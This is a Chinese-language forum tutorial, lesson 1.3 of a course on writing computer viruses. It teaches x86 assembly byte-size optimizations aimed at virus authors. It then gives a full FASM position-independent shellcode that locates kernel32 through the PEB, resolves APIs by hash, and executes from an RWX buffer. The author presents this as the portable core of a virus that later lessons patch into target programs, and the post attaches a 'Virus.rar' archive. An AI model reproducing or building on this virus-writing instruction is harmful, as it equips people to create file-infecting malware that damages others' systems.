1.3.如何编写病毒代码

  上个星期由于演讲,导致没有时间拟写文章,今日将此篇文章赶出来,大家接着看吧, 这个专题我肯定是持续更新的,请大家放心,只不过部分时候可能会有紧急事情导致没有办法随时更新。

  首先我想你如果学习了前面课程的话,回答这节课程标题的提问肯定是没有问题的。如何编写病毒代码?

首先我把最重要的两个方面列举出来。

  1. 处理病毒各个绝对地址的重定位。

  2. 所有需调用的api函数地址,均通过动态搜索来获得。

  做到以上2点,我们的病毒代码就可以移植到任意的程序中。没错,就和我们写shellcode一样。那么首先前面两部分我们在之前的“1.2编写病毒所需掌握的知识中”已经给大家深入的讲解了。

今天呢,我就给大家再继续讲解讲解“编写病毒代码需要注意到的地方”,并把前面讲解过的内容做一个串联,我们来实践一下。

  首先编写病毒代码最重要的地方无过于优化了。或许现在大部分人不注重,但是作为一个vxer,我觉得还是要多多注重,因为这体现我们对cpu指令集以及opcode掌握的程度等,早在一年前看到

29adrocon的代码,代码很漂亮,当时看看自己的代码........... ,随即就对优化产生了兴趣,紧接着最重要的是把优化运用到自己的编译器中。 



1. 如何有效的优化代码。

    作为一个vxer我们要时常自己去发现一些字节优化等技巧,来展现在我们的代码中。举个很简单的例子,ZeroMemory。

;eax - pointer to buffer , ecx - length of buffer
_ZeroMemory:
@@:
    mov     byte [eax+ecx-1], 0  ;5 byte 
    loop    @B      ;2 byte
    retn


    另外我们的Virus代码要尽量避免使用局部变量来存储相关API函数的返回值,我们应通过pushad popad来尽量使用寄存器来存储变量。这样我们可以更有效控制字节大小,OK。举了上面的两个例子,我们来进入今天的主题如何有效的优化代码。

    早在之前我们国外的DDT杂1期就有一篇文章《32 bit optimization》网上大部分的32位代码优化文章也是来自修改此篇文章,  我们来看下这篇文章的介绍。


(1)测试寄存器是否为0
    

    cmp     eax,00000000h                   ; 6 bytes
    jz      bribriblibli                    ; 2 bytes (if jz is short)
    

 
 optimization:
    
    or      eax,eax                         ; 2 bytes
    jz      bribriblibli                       ; 2 bytes (if jz is short)



    xchg    eax,ecx                         ; 1 byte
    jecxz   bribriblibli                   ; 2 bytes (if it is short)



(2)测试寄存器是否为-1

    cmp     eax,0FFFFFFFFh                  ; 6 bytes
    jz      insumision                    ; 2 bytes (if short)

optimization:

    inc     eax                                   ; 1 byte
    xchg    eax,ecx                            ; 1 byte
    jecxz   insumision                         ; 2 bytes (if short)
    dec     ecx                                 ; 1 byte 


    inc     eax                                  ; 1 byte
    jz      insumision                        ; 2 bytes
    dec     eax                                ; 1 byte


(3)寄存器清0并传送低位字数值

    xor     eax,eax                         ; 2 bytes
    mov     ax,word ptr [esi+6]             ; 4 bytes

optimization:

    movzx   eax,word ptr [esi+6]            ; 4 bytes

(4) 关于push的优化

    mov   eax, 50h                   ; 5 bytes

optimization:
    push  50h                        ; 2 bytes 
    pop      eax                        ; 1 bytes
    


    push   0                         ; 2 bytes 
    push   0                         ; 2 bytes 
    push   0                         ; 2 bytes 
    push   0                         ; 2 bytes 
    push   0                         ; 2 bytes 
    push   0                         ; 2 bytes 
    push   0                         ; 2 bytes 

optimization:

    xor   eax, eax                           ; 2 bytes 
    push   eax                     ; 1 byte 
    push   eax                     ; 1 byte 
    push   eax                     ; 1 byte 
    push   eax                     ; 1 byte 
    push   eax                     ; 1 byte 
    push   eax                     ; 1 byte 
    push   eax                     ; 1 byte 


    push   7                         ; 2 bytes 
    pop   ecx                     ; 1 byte 
_loop: 
    push   0                         ; 2 bytes 
    loop   _loop                    ; 2 bytes 

(5) 操作FS寄存器相关优化

    push    dword ptr fs:[00000000h]        ; 6 bytes
    mov     fs:[0],esp                      ; 6 bytes
    [...]
    pop     dword ptr fs:[00000000h]        ; 6 bytes
    
optimization:

    xor     eax,eax                         ; 2 bytes
    push    dword ptr fs:[eax]              ; 3 bytes
    mov     fs:[eax],esp                    ; 3 bytes
    [...]
    pop     dword ptr fs:[eax]              ; 3 bytes

(6) 字符串操作

    mov al/ax/eax, [esi]                ; 2/3/2 bytes 
    inc esi                          ; 1 byte 

optimization:
    lodsb/w/d                          ; 1 or 2 byte 

 到达字符串尾部。

    lea     edi,[ebp+ASCIIz_variable]       ; 6 bytes
 @@1:   
    cmp     byte ptr [edi],00h              ; 3 bytes
    inc     edi                             ; 1 byte
    jz      @@2                             ; 2 bytes
    jmp     @@1                             ; 2 bytes
 @@2:   
    inc     edi                             ; 1 byte

optimization:
    lea     edi,[ebp+ASCIIz_variable]       ; 6 bytes
    xor     al,al                           ; 2 bytes
 @@1:   
    scasb                                   ; 1 byte
    jnz     @@1                             ; 2 bytes



(7)乘法 

    mov     ecx,28h                         ; 5 bytes
    mul     ecx                             ; 2 bytes


optimization:
    imul    eax,eax,28h                     ; 3 bytes



(8)置edx寄存器为0.
    xor  edx, edx                      ; 2 bytes

optimization:
    cdq                              ; 1 bytes



(9)交换寄存器4字节的顺序

    mov eax, 00200000h                   ; 5 bytes 
    bswap eax                         ; 2 bytes 
    ;eax = 00002000h now 



(10)乘2、除2

    shl   eax, 1                     ; 2 bytes
    ;*2
    
    shr  eax, 1                        ; 2 bytes
    ;/2      

(11)分配堆栈空间

    push    ebp                             ; 1 byte
    mov     ebp,esp                         ; 2 bytes
    sub     esp,20h                         ; 3 bytes

optimization:
    enter   20h,00h                         ; 4 bytes



(12)压入字符串指针时尽量使用
    call  @f
    db  'string', 0
    @@:

OK。以上的优化我认为是一个asm coder起码要注重的。更好的优化意味着也是一个更好的病毒。好了,不理解的人,可能认为我是发疯,但是有谁知道沉浸中的乐趣呢?


2. 实例以病毒代码的思路开始Write:

代码:

  format PE GUI 4.0
  include 'win32ax.inc'
  
section '.text' code readable writeable executable

Shellcode:

  call  GetKrnlBase
  call  dels
dels:  pop  ebx
  lea  edi, [ebx + szFuncs - dels]
  
  push  edi
  push  eax
  call  GetFuncAddress
  
  call  @f
    db  'user32.dll', 0
  @@:
  call  dword [edi]    ; LoadLibrary user32
  
  push  edi
  push  eax
  call  GetFuncAddress    ; Get User32 Func
  
  mov  edx, edi
  add  edx, szText - szFuncs  ; edx = szText
  
  xor  eax, eax
  push  eax
  push  eax      ; push szText
  push  edx
  push  eax
  call  dword [edi+4]    ; MessageBoxA
  ret
  
  
 ;++
 ;
 ; int
 ;   GetKrnlBase3(
 ;    void
 ;   )
 ;
 ; Routine Description:
 ;
 ;    获得kernel32基地址
 ;
 ; Arguments:
 ;
 ;    (esp)          - return address
 ;
 ;
 ; Return Value:
 ;
 ;    eax =  krnl32 base
 ;
 ;--
 
 GetKrnlBase:
   mov  eax, [fs:30h]
   mov  eax, [eax+0ch]
   mov  eax, [eax+1ch]
   mov  eax, [eax]
  mov  eax, [eax+8h]
  ret   
  

 ;++
 ;
 ; int
 ;   GetFuncAddress
 ;    int hModule,
 ;    int pHashStringList
 ;   )
 ;
 ; Routine Description:
 ;
 ;   获取HASH API地址
 ;
 ; Arguments:
 ;
 ;    (esp)          - return address
 ;    (esp+4*8+4)    - hModule
 ;    (esp+4*8+8)    - pHashStringList
 ;
 ; Return Value:
 ;
 ;    nothing
 ;
 ;--


 GetFuncAddress:
  pushad
  mov  ebx, [esp+4*8+4]  ; ebx  = hModule
  mov  edx, [ebx+3ch]    ; PE
  mov  esi, [ebx++edx+78h]  ; Export Table RVA 
  lea  esi, [esi+ebx+18h]  ; Export Table VA+18h NumberOfNames
  lodsd
  xchg  eax, ecx
  lodsd
  add  eax, ebx
  xchg  eax, ebp    ; ebp   = AddressOfFunctions
  lodsd
  add  eax, ebx    
  xchg  eax, edx    ; edx  = AddressOfNames
  lodsd
  add  eax, ebx
  push  eax      ; [esp] = AddressOfNameOrdinals
  
  mov  esi, edx
.Next_Func:
   lodsd
   add  eax, ebx
   
   ; Make Func Hash
   xor     edx, edx
.Make_Hash:
    rol  edx, 3
    xor     dl, byte [eax]
  inc     eax
  cmp     byte [eax], 0
  jnz  .Make_Hash
  
  mov     eax, [esp]
  add  dword [esp], 2

  mov  edi, [esp+4*8+8+4]  ; edi  = pHashStringList
.Scan_Dw_Funcs:
  cmp  dword [edi], edx
  jnz  .Next_List
  
  movzx  eax, word [eax]
  mov  eax, [ebp+eax*4]
  add  eax, ebx
  stosd
  jmp  .Ret
    
 .Next_List:
  scasd
  cmp  dword [edi], 0
  jnz  .Scan_Dw_Funcs
.Ret:
  loop    .Next_Func
  pop  ecx
  popad
  ret 4*2

 ;++
 ;
 ; Hash Function List
 ;
 ;--
 szFuncs:
   dd  0A412FD89h    ;LoadLibraryA
   dd   014D14C51h    ;MessageBoxA
   dd  0
   
 szText db  '如何编写病毒代码例子', 0
 
 
 ShellCodeSize = $ - Shellcode
 
 
 entry  $
   
   invoke  VirtualAlloc, 0, ShellCodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE
   pushad
   push  ShellCodeSize
   pop  ecx
   push  Shellcode
   pop  esi
   xchg  eax, edi
   rep  movsb
   popad
   call  eax
   ret
   
 
 data import
   library  kernel32, 'kernel32.dll'
   include  'api\kernel32.inc'
 end data
   
  

  此代码例子,是首先通过VirtualAlloc申请一段ShellcodeSize大小的可读可写可执行内存区,然后将我们按照病毒思路编写的Shellcode Copy到申请的内存区中。然后call eax, 跳转到我们申请的内存区中去执行。

  从这个例子我们可以看到,我们的Shellcode(Virus Code)可以移植到任意的内存地址中去执行,它完成了我们预期想要的目的。

  另外:我们下节课大家可以看到我们的病毒代码是整个处理重定位,并整个代码都是通过动态搜索获得。所以我们感染的时候是将整个病毒代码给patch到目标程序中。


好了,今天这节课程就到这里了。大家一定要多写程序,这样才能更好的理解。

  最后祝愿大家有个好心情。

附件为代码和bin
上传的附件 Virus.rar [解压密码:pediy]